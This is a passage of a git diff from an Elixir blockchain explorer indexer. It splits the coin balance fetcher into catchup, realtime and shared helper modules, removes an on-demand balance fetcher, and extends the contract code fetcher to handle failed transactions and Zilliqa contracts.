# credo:disable-for-next-line Credo.Check.Design.DuplicatedCode - def child_spec([init_options, gen_server_options]) do - {state, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) - - unless state do - raise ArgumentError, - ":json_rpc_named_arguments must be provided to `#{__MODULE__}.child_spec " <> - "to allow for json_rpc calls when running." - end - - merged_init_options = - @defaults - |> Keyword.merge(mergeable_init_options) - |> Keyword.put(:state, state) - - Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_options}, gen_server_options]}, id: __MODULE__) - end - - @impl BufferedTask - def init(initial, reducer, _) do - {:ok, final} = - Chain.stream_unfetched_balances(initial, fn address_fields, acc -> - address_fields - |> entry() - |> reducer.(acc) - end) - - final - end - - @impl BufferedTask - @decorate trace(name: "fetch", resource: "Indexer.Fetcher.CoinBalance.run/2", service: :indexer, tracer: Tracer) - def run(entries, json_rpc_named_arguments) do - # the same address may be used more than once in the same block, but we only want one `Balance` for a given - # `{address, block}`, so take unique params only - unique_entries = Enum.uniq(entries) - - unique_filtered_entries = - Enum.filter(unique_entries, fn {_hash, block_number} -> - block_number >= EthereumJSONRPC.first_block_to_fetch(:trace_first_block) - end) - - unique_entry_count = Enum.count(unique_filtered_entries) - Logger.metadata(count: unique_entry_count) - - Logger.debug(fn -> "fetching" end) - - unique_filtered_entries - |> Enum.map(&entry_to_params/1) - |> EthereumJSONRPC.fetch_balances(json_rpc_named_arguments) - |> case do - {:ok, fetched_balances} -> - run_fetched_balances(fetched_balances, unique_filtered_entries) - - {:error, reason} -> - Logger.error( - fn -> - ["failed to fetch: ", inspect(reason)] - end, - error_count: unique_entry_count - ) - - {:retry, unique_filtered_entries} - end - end - - defp entry_to_params({address_hash_bytes, block_number}) when is_integer(block_number) do - {:ok, address_hash} = Hash.Address.cast(address_hash_bytes) - %{block_quantity: integer_to_quantity(block_number), hash_data: to_string(address_hash)} - end - - defp entry(%{address_hash: %Hash{bytes: address_hash_bytes}, block_number: block_number}) do - {address_hash_bytes, block_number} - end - - # We want to record all historical balances for an address, but have the address itself have balance from the - # `Balance` with the greatest block_number for that address. - def balances_params_to_address_params(balances_params) do - balances_params - |> Enum.group_by(fn %{address_hash: address_hash} -> address_hash end) - |> Map.values() - |> Stream.map(&Enum.max_by(&1, fn %{block_number: block_number} -> block_number end)) - |> Enum.map(fn %{address_hash: address_hash, block_number: block_number, value: value} -> - %{hash: address_hash, fetched_coin_balance_block_number: block_number, fetched_coin_balance: value} - end) - end - - def import_fetched_balances(%FetchedBalances{params_list: params_list}, broadcast_type \\ false) do - value_fetched_at = DateTime.utc_now() - - importable_balances_params = Enum.map(params_list, &Map.put(&1, :value_fetched_at, value_fetched_at)) - - json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) - - importable_balances_daily_params = balances_daily_params(params_list, json_rpc_named_arguments) - - addresses_params = balances_params_to_address_params(importable_balances_params) - - Chain.import(%{ - addresses: %{params: addresses_params, with: :balance_changeset}, - address_coin_balances: %{params: importable_balances_params}, - address_coin_balances_daily: %{params: importable_balances_daily_params}, - broadcast: broadcast_type - }) - end - - def import_fetched_daily_balances(%FetchedBalances{params_list: params_list}, broadcast_type \\ false) do - value_fetched_at = DateTime.utc_now() - - importable_balances_params = Enum.map(params_list, &Map.put(&1, :value_fetched_at, value_fetched_at)) - - json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) - - importable_balances_daily_params = balances_daily_params(params_list, json_rpc_named_arguments) - - addresses_params = balances_params_to_address_params(importable_balances_params) - - Chain.import(%{ - addresses: %{params: addresses_params, with: :balance_changeset}, - address_coin_balances_daily: %{params: importable_balances_daily_params}, - broadcast: broadcast_type - }) - end - - defp run_fetched_balances(%FetchedBalances{errors: errors} = fetched_balances, _) do - with {:ok, imported} <- import_fetched_balances(fetched_balances) do - Accounts.drop(imported[:addresses]) - end - - retry(errors) - end - - defp retry([]), do: :ok - - defp retry(errors) when is_list(errors) do - retried_entries = fetched_balances_errors_to_entries(errors) - - Logger.error( - fn -> - [ - "failed to fetch: ", - fetched_balance_errors_to_iodata(errors) - ] - end, - error_count: Enum.count(retried_entries) - ) - - {:retry, retried_entries} - end - - defp fetched_balances_errors_to_entries(errors) when is_list(errors) do - Enum.map(errors, &fetched_balance_error_to_entry/1) - end - - defp fetched_balance_error_to_entry(%{data: %{block_quantity: block_quantity, hash_data: hash_data}}) - when is_binary(block_quantity) and is_binary(hash_data) do - {:ok, %Hash{bytes: address_hash_bytes}} = Hash.Address.cast(hash_data) - block_number = quantity_to_integer(block_quantity) - {address_hash_bytes, block_number} - end - - defp fetched_balance_errors_to_iodata(errors) when is_list(errors) do - fetched_balance_errors_to_iodata(errors, []) - end - - defp fetched_balance_errors_to_iodata([], iodata), do: iodata - - defp fetched_balance_errors_to_iodata([error | errors], iodata) do - fetched_balance_errors_to_iodata(errors, [iodata | fetched_balance_error_to_iodata(error)]) - end - - defp fetched_balance_error_to_iodata(%{ - code: code, - message: message, - data: %{block_quantity: block_quantity, hash_data: hash_data} - }) - when is_integer(code) and is_binary(message) and is_binary(block_quantity) and is_binary(hash_data) do - [hash_data, "@", quantity_to_integer(block_quantity), ": (", to_string(code), ") ", message, ?\n] - end - - def block_timestamp_map(params_list, json_rpc_named_arguments) do - block_numbers = - params_list - |> Enum.map(&Map.get(&1, :block_number)) - |> Enum.sort() - |> Enum.dedup() - - Enum.reduce(block_numbers, %{}, fn block_number, map -> - case EthereumJSONRPC.fetch_blocks_by_range(block_number..block_number, json_rpc_named_arguments) do - {:ok, %Blocks{blocks_params: [%{timestamp: timestamp}]}} -> - day = DateTime.to_date(timestamp) - Map.put(map, "#{block_number}", day) - - _ -> - %{} - end - end) - end - - defp balances_daily_params(params_list, json_rpc_named_arguments) do - block_timestamp_map = block_timestamp_map(params_list, json_rpc_named_arguments) - - params_list - |> Enum.map(fn balance_param -> - if Map.has_key?(block_timestamp_map, "#{balance_param.block_number}") do - day = Map.get(block_timestamp_map, "#{balance_param.block_number}") - - incoming_balance_daily_param = %{ - address_hash: balance_param.address_hash, - day: day, - value: balance_param.value - } - - incoming_balance_daily_param - else - nil - end - end) - end -end diff --git a/apps/indexer/lib/indexer/fetcher/coin_balance/catchup.ex b/apps/indexer/lib/indexer/fetcher/coin_balance/catchup.ex new file mode 100644 index 000000000000..f063137d586c --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/coin_balance/catchup.ex @@ -0,0 +1,77 @@ +defmodule Indexer.Fetcher.CoinBalance.Catchup do + @moduledoc """ + Fetches `t:Explorer.Chain.Address.CoinBalance.t/0` and updates `t:Explorer.Chain.Address.t/0` `fetched_coin_balance` and + `fetched_coin_balance_block_number` to value at max `t:Explorer.Chain.Address.CoinBalance.t/0` `block_number` for the given `t:Explorer.Chain.Address.t/` `hash`. + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + alias Explorer.Chain.Address.CoinBalance + alias Explorer.Chain.{Block, Hash} + alias Indexer.{BufferedTask, Tracer} + alias Indexer.Fetcher.CoinBalance.Catchup.Supervisor, as: CoinBalanceSupervisor + alias Indexer.Fetcher.CoinBalance.Helper + + @behaviour BufferedTask + + @default_max_batch_size 500 + @default_max_concurrency 4 + + @doc """ + Asynchronously fetches balances for each address `hash` at the `block_number`. + """ + @spec async_fetch_balances([ + %{required(:address_hash) => Hash.Address.t(), required(:block_number) => Block.block_number()} + ]) :: :ok + def async_fetch_balances(balance_fields) when is_list(balance_fields) do + if CoinBalanceSupervisor.disabled?() do + :ok + else + entries = Enum.map(balance_fields, &Helper.entry/1) + + BufferedTask.buffer(__MODULE__, entries, false) + end + end + + def child_spec(params) do + Helper.child_spec(params, defaults(), __MODULE__) + end + + @impl BufferedTask + def init(initial, reducer, _) do + {:ok, final} = + CoinBalance.stream_unfetched_balances( + initial, + fn address_fields, acc -> + address_fields + |> Helper.entry() + |> reducer.(acc) + end, + true + ) + + final + end + + @impl BufferedTask + @decorate trace( + name: "fetch", + resource: "Indexer.Fetcher.CoinBalance.Catchup.run/2", + service: :indexer, + tracer: Tracer + ) + def run(entries, json_rpc_named_arguments) do + Helper.run(entries, json_rpc_named_arguments, :catchup) + end + + defp defaults do + [ + flush_interval: :timer.seconds(3), + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + task_supervisor: Indexer.Fetcher.CoinBalance.Catchup.TaskSupervisor, + metadata: [fetcher: :coin_balance_catchup] + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/coin_balance/helper.ex b/apps/indexer/lib/indexer/fetcher/coin_balance/helper.ex new file mode 100644 index 000000000000..80e1689369c5 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/coin_balance/helper.ex @@ -0,0 +1,228 @@ +defmodule Indexer.Fetcher.CoinBalance.Helper do + @moduledoc """ + Common functions for `Indexer.Fetcher.CoinBalance.Catchup` and `Indexer.Fetcher.CoinBalance.Realtime` modules + """ + + import EthereumJSONRPC, only: [integer_to_quantity: 1, quantity_to_integer: 1] + + require Logger + + alias EthereumJSONRPC.{Blocks, FetchedBalances, Utility.RangesHelper} + alias Explorer.Chain + alias Explorer.Chain.Cache.{Accounts, BlockNumber} + alias Explorer.Chain.Hash + alias Indexer.BufferedTask + + @doc false + # credo:disable-for-next-line Credo.Check.Design.DuplicatedCode + def child_spec([init_options, gen_server_options], defaults, module) do + {state, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) + + unless state do + raise ArgumentError, + ":json_rpc_named_arguments must be provided to `#{module}.child_spec " <> + "to allow for json_rpc calls when running." + end + + merged_init_options = + defaults + |> Keyword.merge(mergeable_init_options) + |> Keyword.put(:state, state) + + Supervisor.child_spec({BufferedTask, [{module, merged_init_options}, gen_server_options]}, id: module) + end + + def run(entries, json_rpc_named_arguments, fetcher_type) do + # the same address may be used more than once in the same block, but we only want one `Balance` for a given + # `{address, block}`, so take unique params only + unique_entries = Enum.uniq(entries) + + unique_filtered_entries = + case fetcher_type do + :realtime -> + unique_entries + + _ -> + Enum.filter(unique_entries, fn {_hash, block_number} -> + RangesHelper.traceable_block_number?(block_number) + end) + end + + unique_entry_count = Enum.count(unique_filtered_entries) + Logger.metadata(count: unique_entry_count) + + Logger.debug(fn -> "fetching" end) + + unique_filtered_entries + |> Enum.map(&entry_to_params/1) + |> EthereumJSONRPC.fetch_balances(json_rpc_named_arguments, BlockNumber.get_max()) + |> case do + {:ok, fetched_balances} -> + run_fetched_balances(fetched_balances, fetcher_type) + + {:error, reason} -> + Logger.error( + fn -> + ["failed to fetch: ", inspect(reason)] + end, + error_count: unique_entry_count + ) + + {:retry, unique_filtered_entries} + end + end + + def entry(%{address_hash: %Hash{bytes: address_hash_bytes}, block_number: block_number}) do + {address_hash_bytes, block_number} + end + + defp entry_to_params({address_hash_bytes, block_number}) when is_integer(block_number) do + {:ok, address_hash} = Hash.Address.cast(address_hash_bytes) + %{block_quantity: integer_to_quantity(block_number), hash_data: to_string(address_hash)} + end + + # We want to record all historical balances for an address, but have the address itself have balance from the + # `Balance` with the greatest block_number for that address. + def balances_params_to_address_params(balances_params) do + balances_params + |> Enum.group_by(fn %{address_hash: address_hash} -> address_hash end) + |> Map.values() + |> Stream.map(&Enum.max_by(&1, fn %{block_number: block_number} -> block_number end)) + |> Enum.map(fn %{address_hash: address_hash, block_number: block_number, value: value} -> + %{hash: address_hash, fetched_coin_balance_block_number: block_number, fetched_coin_balance: value} + end) + end + + def import_fetched_balances(params_list, broadcast_type \\ false) do + value_fetched_at = DateTime.utc_now() + + importable_balances_params = Enum.map(params_list, &Map.put(&1, :value_fetched_at, value_fetched_at)) + + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + importable_balances_daily_params = balances_daily_params(params_list, json_rpc_named_arguments) + + addresses_params = balances_params_to_address_params(importable_balances_params) + + Chain.import(%{ + addresses: %{params: addresses_params, with: :balance_changeset}, + address_coin_balances: %{params: importable_balances_params}, + address_coin_balances_daily: %{params: importable_balances_daily_params}, + broadcast: broadcast_type + }) + end + + def import_fetched_daily_balances(params_list, broadcast_type \\ false) do + value_fetched_at = DateTime.utc_now() + + importable_balances_params = Enum.map(params_list, &Map.put(&1, :value_fetched_at, value_fetched_at)) + + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + importable_balances_daily_params = balances_daily_params(params_list, json_rpc_named_arguments) + + addresses_params = balances_params_to_address_params(importable_balances_params) + + Chain.import(%{ + addresses: %{params: addresses_params, with: :balance_changeset}, + address_coin_balances_daily: %{params: importable_balances_daily_params}, + broadcast: broadcast_type + }) + end + + defp run_fetched_balances(%FetchedBalances{errors: errors, params_list: params_list}, fetcher_type) do + with {:ok, imported} <- import_fetched_balances(params_list, fetcher_type) do + Accounts.drop(imported[:addresses]) + end + + retry(errors) + end + + defp retry([]), do: :ok + + defp retry(errors) when is_list(errors) do + retried_entries = fetched_balances_errors_to_entries(errors) + + Logger.error( + fn -> + [ + "failed to fetch: ", + fetched_balance_errors_to_iodata(errors) + ] + end, + error_count: Enum.count(retried_entries) + ) + + {:retry, retried_entries} + end + + defp fetched_balances_errors_to_entries(errors) when is_list(errors) do + Enum.map(errors, &fetched_balance_error_to_entry/1) + end + + defp fetched_balance_error_to_entry(%{data: %{block_quantity: block_quantity, hash_data: hash_data}}) + when is_binary(block_quantity) and is_binary(hash_data) do + {:ok, %Hash{bytes: address_hash_bytes}} = Hash.Address.cast(hash_data) + block_number = quantity_to_integer(block_quantity) + {address_hash_bytes, block_number} + end + + defp fetched_balance_errors_to_iodata(errors) when is_list(errors) do + fetched_balance_errors_to_iodata(errors, []) + end + + defp fetched_balance_errors_to_iodata([], iodata), do: iodata + + defp fetched_balance_errors_to_iodata([error | errors], iodata) do + fetched_balance_errors_to_iodata(errors, [iodata | fetched_balance_error_to_iodata(error)]) + end + + defp fetched_balance_error_to_iodata(%{ + code: code, + message: message, + data: %{block_quantity: block_quantity, hash_data: hash_data} + }) + when is_integer(code) and is_binary(message) and is_binary(block_quantity) and is_binary(hash_data) do + [hash_data, "@", block_quantity |> quantity_to_integer() |> to_string(), ": (", to_string(code), ") ", message, ?\n] + end + + def block_timestamp_map(params_list, json_rpc_named_arguments) do + block_numbers = + params_list + |> Enum.map(&Map.get(&1, :block_number)) + |> Enum.sort() + |> Enum.dedup() + + Enum.reduce(block_numbers, %{}, fn block_number, map -> + case EthereumJSONRPC.fetch_blocks_by_range(block_number..block_number, json_rpc_named_arguments) do + {:ok, %Blocks{blocks_params: [%{timestamp: timestamp}]}} -> + day = DateTime.to_date(timestamp) + Map.put(map, "#{block_number}", day) + + _ -> + %{} + end + end) + end + + defp balances_daily_params(params_list, json_rpc_named_arguments) do + block_timestamp_map = block_timestamp_map(params_list, json_rpc_named_arguments) + + params_list + |> Enum.map(fn balance_param -> + if Map.has_key?(block_timestamp_map, "#{balance_param.block_number}") do + day = Map.get(block_timestamp_map, "#{balance_param.block_number}") + + incoming_balance_daily_param = %{ + address_hash: balance_param.address_hash, + day: day, + value: balance_param.value + } + + incoming_balance_daily_param + else + nil + end + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/coin_balance/realtime.ex b/apps/indexer/lib/indexer/fetcher/coin_balance/realtime.ex new file mode 100644 index 000000000000..ebd055e2f150 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/coin_balance/realtime.ex @@ -0,0 +1,60 @@ +defmodule Indexer.Fetcher.CoinBalance.Realtime do + @moduledoc """ + Separate version of `Indexer.Fetcher.CoinBalance.Catchup` for fetching balances from realtime block fetcher + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + alias Explorer.Chain.{Block, Hash} + alias Indexer.{BufferedTask, Tracer} + alias Indexer.Fetcher.CoinBalance.Helper + + @behaviour BufferedTask + + @default_max_batch_size 500 + @default_max_concurrency 4 + + @doc """ + Asynchronously fetches balances for each address `hash` at the `block_number`. + """ + @spec async_fetch_balances([ + %{required(:address_hash) => Hash.Address.t(), required(:block_number) => Block.block_number()} + ]) :: :ok + def async_fetch_balances(balance_fields) when is_list(balance_fields) do + entries = Enum.map(balance_fields, &Helper.entry/1) + + BufferedTask.buffer(__MODULE__, entries, true) + end + + def child_spec(params) do + Helper.child_spec(params, defaults(), __MODULE__) + end + + @impl BufferedTask + def init(_, _, _) do + {0, []} + end + + @impl BufferedTask + @decorate trace( + name: "fetch", + resource: "Indexer.Fetcher.CoinBalance.Realtime.run/2", + service: :indexer, + tracer: Tracer + ) + def run(entries, json_rpc_named_arguments) do + Helper.run(entries, json_rpc_named_arguments, :realtime) + end + + defp defaults do + [ + poll: false, + flush_interval: :timer.seconds(3), + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + task_supervisor: Indexer.Fetcher.CoinBalance.Realtime.TaskSupervisor, + metadata: [fetcher: :coin_balance_realtime] + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/coin_balance_on_demand.ex b/apps/indexer/lib/indexer/fetcher/coin_balance_on_demand.ex deleted file mode 100644 index 68306347ed11..000000000000 --- a/apps/indexer/lib/indexer/fetcher/coin_balance_on_demand.ex +++ /dev/null @@ -1,252 +0,0 @@ -defmodule Indexer.Fetcher.CoinBalanceOnDemand do - @moduledoc """ - Ensures that we have a reasonably up to date coin balance for a given address. - - If we have an unfetched coin balance for that address, it will be synchronously fetched. - If not we will fetch the coin balance and created a fetched coin balance. - If we have a fetched coin balance, but it is over 100 blocks old, we will fetch and create a fetched coin baalnce. - """ - - use GenServer - use Indexer.Fetcher - - import Ecto.Query, only: [from: 2] - import EthereumJSONRPC, only: [integer_to_quantity: 1] - - alias EthereumJSONRPC.FetchedBalances - alias Explorer.{Chain, Repo} - alias Explorer.Chain.Address - alias Explorer.Chain.Address.{CoinBalance, CoinBalanceDaily} - alias Explorer.Chain.Cache.{Accounts, BlockNumber} - alias Explorer.Counters.AverageBlockTime - alias Indexer.Fetcher.CoinBalance, as: CoinBalanceFetcher - alias Timex.Duration - - @type block_number :: integer - - @typedoc """ - `block_number` represents the block that we will be updating the address to. - - If there is a pending balance in the window, we will not fetch the balance - as of the latest block, we will instead fetch that pending balance. - """ - @type balance_status :: - :current - | {:stale, block_number} - | {:pending, block_number} - - ## Interface - - @spec trigger_fetch(Address.t()) :: balance_status - def trigger_fetch(address) do - latest_block_number = latest_block_number() - - case stale_balance_window(latest_block_number) do - {:error, _} -> - :current - - stale_balance_window -> - do_trigger_fetch(address, latest_block_number, stale_balance_window) - end - end - - ## Callbacks - - def child_spec([json_rpc_named_arguments, server_opts]) do - %{ - id: __MODULE__, - start: {__MODULE__, :start_link, [json_rpc_named_arguments, server_opts]}, - type: :worker - } - end - - def start_link(json_rpc_named_arguments, server_opts) do - GenServer.start_link(__MODULE__, json_rpc_named_arguments, server_opts) - end - - @impl true - def init(json_rpc_named_arguments) do - {:ok, %{json_rpc_named_arguments: json_rpc_named_arguments}} - end - - @impl true - def handle_cast({:fetch_and_update, block_number, address}, state) do - result = fetch_and_update(block_number, address, state.json_rpc_named_arguments) - - with {:ok, %{addresses: addresses}} <- result do - Accounts.drop(addresses) - end - - {:noreply, state} - end - - @impl true - def handle_cast({:fetch_and_import, block_number, address}, state) do - fetch_and_import(block_number, address, state.json_rpc_named_arguments) - - {:noreply, state} - end - - @impl true - def handle_cast({:fetch_and_import_daily_balances, block_number, address}, state) do - fetch_and_import_daily_balances(block_number, address, state.json_rpc_named_arguments) - - {:noreply, state} - end - - @impl true - def handle_info({:DOWN, _, :process, _, _}, state) do - {:noreply, state} - end - - @impl true - def handle_info({_ref, _}, state) do - {:noreply, state} - end - - ## Implementation - - defp do_trigger_fetch(%Address{fetched_coin_balance_block_number: nil} = address, latest_block_number, _) do - GenServer.cast(__MODULE__, {:fetch_and_update, latest_block_number, address}) - - {:stale, 0} - end - - defp do_trigger_fetch(address, latest_block_number, stale_balance_window) do - latest_by_day = - from( - cbd in CoinBalanceDaily, - where: cbd.address_hash == ^address.hash, - order_by: [desc: :day], - limit: 1 - ) - - latest = - from( - cb in CoinBalance, - where: cb.address_hash == ^address.hash, - where: cb.block_number >= ^stale_balance_window, - where: is_nil(cb.value_fetched_at), - order_by: [desc: :block_number], - limit: 1 - ) - - do_trigger_balance_fetch_query(address, latest_block_number, stale_balance_window, latest, latest_by_day) - end - - defp do_trigger_balance_fetch_query( - address, - latest_block_number, - stale_balance_window, - query_balances, - query_balances_daily - ) do - if address.fetched_coin_balance_block_number < stale_balance_window do - do_trigger_balance_daily_fetch_query(address, latest_block_number, query_balances_daily) - GenServer.cast(__MODULE__, {:fetch_and_update, latest_block_number, address}) - - {:stale, latest_block_number} - else - case Repo.one(query_balances) do - nil -> - # There is no recent coin balance to fetch, so we check to see how old the - # balance is on the address. If it is too old, we check again, just to be safe. - do_trigger_balance_daily_fetch_query(address, latest_block_number, query_balances_daily) - - :current - - %CoinBalance{value_fetched_at: nil, block_number: block_number} -> - GenServer.cast(__MODULE__, {:fetch_and_import, block_number, address}) - - {:pending, block_number} - - %CoinBalance{} -> - do_trigger_balance_daily_fetch_query(address, latest_block_number, query_balances_daily) - - :current - end - end - end - - defp do_trigger_balance_daily_fetch_query(address, latest_block_number, query) do - if Repo.one(query) == nil do - GenServer.cast(__MODULE__, {:fetch_and_import_daily_balances, latest_block_number, address}) - end - end - - defp fetch_and_import(block_number, address, json_rpc_named_arguments) do - case fetch_balances(block_number, address, json_rpc_named_arguments) do - {:ok, fetched_balances} -> do_import(fetched_balances) - _ -> :ok - end - end - - defp fetch_and_import_daily_balances(block_number, address, json_rpc_named_arguments) do - case fetch_balances(block_number, address, json_rpc_named_arguments) do - {:ok, fetched_balances} -> do_import_daily_balances(fetched_balances) - _ -> :ok - end - end - - defp fetch_and_update(block_number, address, json_rpc_named_arguments) do - case fetch_balances(block_number, address, json_rpc_named_arguments) do - {:ok, %{params_list: []}} -> - :ok - - {:ok, %{params_list: params_list}} -> - address_params = CoinBalanceFetcher.balances_params_to_address_params(params_list) - - Chain.import(%{ - addresses: %{params: address_params, with: :balance_changeset}, - broadcast: :on_demand - }) - - _ -> - :ok - end - end - - defp fetch_balances(block_number, address, json_rpc_named_arguments) do - params = %{block_quantity: integer_to_quantity(block_number), hash_data: to_string(address.hash)} - - EthereumJSONRPC.fetch_balances([params], json_rpc_named_arguments) - end - - defp do_import(%FetchedBalances{} = fetched_balances) do - case CoinBalanceFetcher.import_fetched_balances(fetched_balances, :on_demand) do - {:ok, %{addresses: [address]}} -> {:ok, address} - _ -> :error - end - end - - defp do_import_daily_balances(%FetchedBalances{} = fetched_balances) do - case CoinBalanceFetcher.import_fetched_daily_balances(fetched_balances, :on_demand) do - {:ok, %{addresses: [address]}} -> {:ok, address} - _ -> :error - end - end - - defp latest_block_number do - BlockNumber.get_max() - end - - defp stale_balance_window(block_number) do - case AverageBlockTime.average_block_time() do - {:error, :disabled} -> - {:error, :no_average_block_time} - - duration -> - average_block_time = - duration - |> Duration.to_milliseconds() - |> round() - - if average_block_time == 0 do - {:error, :empty_database} - else - threshold = Application.get_env(:indexer, __MODULE__)[:threshold] - block_number - div(:timer.minutes(threshold), average_block_time) - end - end - end -end diff --git a/apps/indexer/lib/indexer/fetcher/contract_code.ex b/apps/indexer/lib/indexer/fetcher/contract_code.ex index 8f1247410761..6abb7f16f912 100644 --- a/apps/indexer/lib/indexer/fetcher/contract_code.ex +++ b/apps/indexer/lib/indexer/fetcher/contract_code.ex @@ -3,20 +3,50 @@ defmodule Indexer.Fetcher.ContractCode do Fetches `contract_code` `t:Explorer.Chain.Address.t/0`. """ - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent use Spandex.Decorators require Logger import EthereumJSONRPC, only: [integer_to_quantity: 1] + import Explorer.Chain.Transaction.Reader, + only: [ + transaction_with_unfetched_created_contract_code?: 1, + stream_transactions_with_unfetched_created_contract_code: 4 + ] + + alias EthereumJSONRPC.Utility.RangesHelper alias Explorer.Chain - alias Explorer.Chain.{Block, Hash} - alias Explorer.Chain.Cache.Accounts + alias Explorer.Chain.{Address, Block, Hash, Transaction} + alias Explorer.Chain.Cache.{Accounts, BlockNumber} + alias Explorer.Chain.Zilliqa.Helper, as: ZilliqaHelper alias Indexer.{BufferedTask, Tracer} - alias Indexer.Fetcher.CoinBalance, as: CoinBalanceFetcher + alias Indexer.Fetcher.CoinBalance.Helper, as: CoinBalanceHelper + alias Indexer.Fetcher.Zilliqa.ScillaSmartContracts, as: ZilliqaScillaSmartContractsFetcher alias Indexer.Transform.Addresses + @transaction_fields ~w(block_number created_contract_address_hash hash type status)a + @failed_to_import "failed to import created_contract_code for transactions: " + + @typedoc """ + Represents a list of entries, where each entry is a map containing transaction + fields required for fetching contract codes. + + - `:block_number` - The block number of the transaction. + - `:created_contract_address_hash` - The hash of the created contract + address. + - `:hash` - The hash of the transaction. + - `:type` - The type of the transaction. + """ + @type entry :: %{ + required(:block_number) => Block.block_number(), + required(:created_contract_address_hash) => Hash.Full.t(), + required(:hash) => Hash.Full.t(), + required(:type) => integer(), + required(:status) => atom() + } + @behaviour BufferedTask @max_batch_size 10 @@ -29,11 +59,20 @@ defmodule Indexer.Fetcher.ContractCode do metadata: [fetcher: :code] ] - @spec async_fetch([%{required(:block_number) => Block.block_number(), required(:hash) => Hash.Full.t()}]) :: :ok - def async_fetch(transactions_fields, timeout \\ 5000) when is_list(transactions_fields) do - entries = Enum.map(transactions_fields, &entry/1) + @spec async_fetch([Transaction.t()], boolean(), integer()) :: :ok + def async_fetch(transactions, realtime?, timeout \\ 5000) when is_list(transactions) do + transaction_fields = + transactions + |> Enum.filter(&transaction_with_unfetched_created_contract_code?(&1)) + |> Enum.map(&Map.take(&1, @transaction_fields)) + |> Enum.uniq() - BufferedTask.buffer(__MODULE__, entries, timeout) + BufferedTask.buffer( + __MODULE__, + transaction_fields, + realtime?, + timeout + ) end @doc false @@ -56,36 +95,34 @@ defmodule Indexer.Fetcher.ContractCode do @impl BufferedTask def init(initial, reducer, _) do + stream_reducer = RangesHelper.stream_reducer_traceable(reducer) + {:ok, final} = - Chain.stream_transactions_with_unfetched_created_contract_codes( - [:block_number, :created_contract_address_hash, :hash], + stream_transactions_with_unfetched_created_contract_code( + @transaction_fields, initial, - fn transaction_fields, acc -> - transaction_fields - |> entry() - |> reducer.(acc) - end + stream_reducer, + true ) final end - defp entry(%{ - block_number: block_number, - created_contract_address_hash: %Hash{bytes: created_contract_bytes}, - hash: %Hash{bytes: bytes} - }) - when is_integer(block_number) do - {block_number, created_contract_bytes, bytes} - end + @doc """ + Processes a batch of entries to fetch and handle contract code for created + contracts. This function is executed as part of the `BufferedTask` behavior. - defp params({block_number, created_contract_address_hash_bytes, _transaction_hash_bytes}) - when is_integer(block_number) do - {:ok, created_contract_address_hash} = Hash.Address.cast(created_contract_address_hash_bytes) + ## Parameters - %{block_quantity: integer_to_quantity(block_number), address: to_string(created_contract_address_hash)} - end + - `entries`: A list of entries to process. + - `json_rpc_named_arguments`: A list of options for JSON-RPC communication. + + ## Returns + - `:ok`: Indicates successful processing of the contract codes. + - `{:retry, any()}`: Returns the entries for retry if an error occurs during + the fetch operation. + """ @impl BufferedTask @decorate trace( name: "fetch", @@ -93,18 +130,42 @@ defmodule Indexer.Fetcher.ContractCode do service: :indexer, tracer: Tracer ) + @spec run([entry()], [ + {:throttle_timeout, non_neg_integer()} + | {:transport, atom()} + | {:transport_options, any()} + | {:variant, atom()} + ]) :: :ok | {:retry, any()} def run(entries, json_rpc_named_arguments) do Logger.debug("fetching created_contract_code for transactions") - entries - |> Enum.map(¶ms/1) - |> EthereumJSONRPC.fetch_codes(json_rpc_named_arguments) - |> case do - {:ok, create_address_codes} -> - addresses_params = Addresses.extract_addresses(%{codes: create_address_codes.params_list}) + {succeeded, failed} = + Enum.reduce(entries, {[], []}, fn entry, {succeeded, failed} -> + if entry.status == :ok do + {[entry | succeeded], failed} + else + {succeeded, [entry | failed]} + end + end) - import_with_balances(addresses_params, entries, json_rpc_named_arguments) + failed_addresses_params = + Enum.map( + failed, + &%{ + hash: &1.created_contract_address_hash, + contract_code: "0x" + } + ) + with {:ok, succeeded_addresses_params} <- fetch_contract_codes(succeeded, json_rpc_named_arguments), + {:ok, balance_addresses_params} <- + fetch_balances(succeeded, json_rpc_named_arguments), + all_addresses_params = + Addresses.merge_addresses(succeeded_addresses_params ++ balance_addresses_params) ++ failed_addresses_params, + {:ok, addresses} <- import_addresses(all_addresses_params) do + zilliqa_verify_scilla_contracts(succeeded, addresses) + :ok + else {:error, reason} -> Logger.error(fn -> ["failed to fetch contract codes: ", inspect(reason)] end, error_count: Enum.count(entries) @@ -114,52 +175,109 @@ defmodule Indexer.Fetcher.ContractCode do end end - defp import_with_balances(addresses_params, entries, json_rpc_named_arguments) do + @spec fetch_contract_codes([entry()], keyword()) :: + {:ok, [Address.t()]} | {:error, any()} + defp fetch_contract_codes([], _json_rpc_named_arguments), + do: {:ok, []} + + defp fetch_contract_codes(entries, json_rpc_named_arguments) do entries - |> coin_balances_request_params() - |> EthereumJSONRPC.fetch_balances(json_rpc_named_arguments) + |> RangesHelper.filter_traceable_block_numbers() + |> Enum.map( + &%{ + block_quantity: integer_to_quantity(&1.block_number), + address: to_string(&1.created_contract_address_hash) + } + ) + |> EthereumJSONRPC.fetch_codes(json_rpc_named_arguments) |> case do - {:ok, fetched_balances} -> - balance_addresses_params = CoinBalanceFetcher.balances_params_to_address_params(fetched_balances.params_list) - - merged_addresses_params = Addresses.merge_addresses(addresses_params ++ balance_addresses_params) - - case 